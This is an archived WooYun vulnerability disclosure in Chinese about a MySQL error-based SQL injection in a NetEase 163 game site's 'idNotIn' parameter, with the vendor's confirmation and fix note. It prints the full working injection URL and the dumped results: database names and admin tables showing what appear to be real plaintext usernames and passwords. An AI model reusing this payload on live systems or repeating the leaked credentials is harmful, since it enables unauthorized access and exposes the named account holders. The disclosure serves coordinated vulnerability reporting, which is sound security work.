乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2016-04-01: 细节已通知厂商并且等待厂商处理中 2016-04-05: 厂商已经确认,细节仅向厂商公开 2016-04-15: 细节向核心白帽子及相关领域专家公开 2016-04-25: 细节向普通白帽子公开 2016-05-05: 细节向实习白帽子公开 2016-05-20: 细节向公众公开
网易163某站点MySQL报错注入
http://play.163.com/m/ajax?api=wapTopicListApi&idNotIn=1) AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x5e5e5e,(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,54)),0x5e5e5e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (1=1&page=2&pageSize=20&topic=%E6%89%8B%E6%B8%B8%E9%A2%91%E9%81%93
参数idNotIn可以注入,MySQL报错注入
available databases [77]:[*] analytics[*] diablo3db[*] gamesearch[*] gamezoo[*] herofire_cn[*] information_schema[*] product[*] product_newgame[*] tianyu[*] worldhero
Database: gamezooTable: admin_user[1 entry]+----+-----------------+------------+---------------------+---------------+---------------------+| id | password | user_name | create_time | super_manager | modified_time |+----+-----------------+------------+---------------------+---------------+---------------------+| 1 | admin_hedy123$_ | admin_hedy | 2014-04-01 14:16:00 | 1 | 2014-04-01 14:16:00 |+----+-----------------+------------+---------------------+---------------+---------------------+
Database: product+-------+---------+| Table | Entries |+-------+---------+| admin | 336 |+-------+---------+
Database: tianyuTable: a_admin_user[2 entries]+----+---------+---------+-------------------+-----------+-----------+-------------+--------------+-----------------+-----------------+-------------------+-------------------+| id | email | address | password | real_name | telephone | user_name | mobile_phone | create_time_ymd | create_time_hms | modified_time_ymd | modified_time_hms |+----+---------+---------+-------------------+-----------+-----------+-------------+--------------+-----------------+-----------------+-------------------+-------------------+| 1 | <blank> | <blank> | admin_hedy_123$_1 | <blank> | <blank> | admin_hedy | <blank> | 0 | 0 | 0 | 0 || 2 | <blank> | <blank> | shenyunqing321$_ | <blank> | <blank> | shenyunqing | <blank> | 0 | 0 | 0 | 0 |+----+---------+---------+-------------------+-----------+-----------+-------------+--------------+-----------------+-----------------+-------------------+-------------------+
参数过滤,转义
危害等级:中
漏洞Rank:8
确认时间:2016-04-05 13:38
泄露的数据以资讯类数据为主,目前漏洞已修复。感谢您对网易的关注。
暂无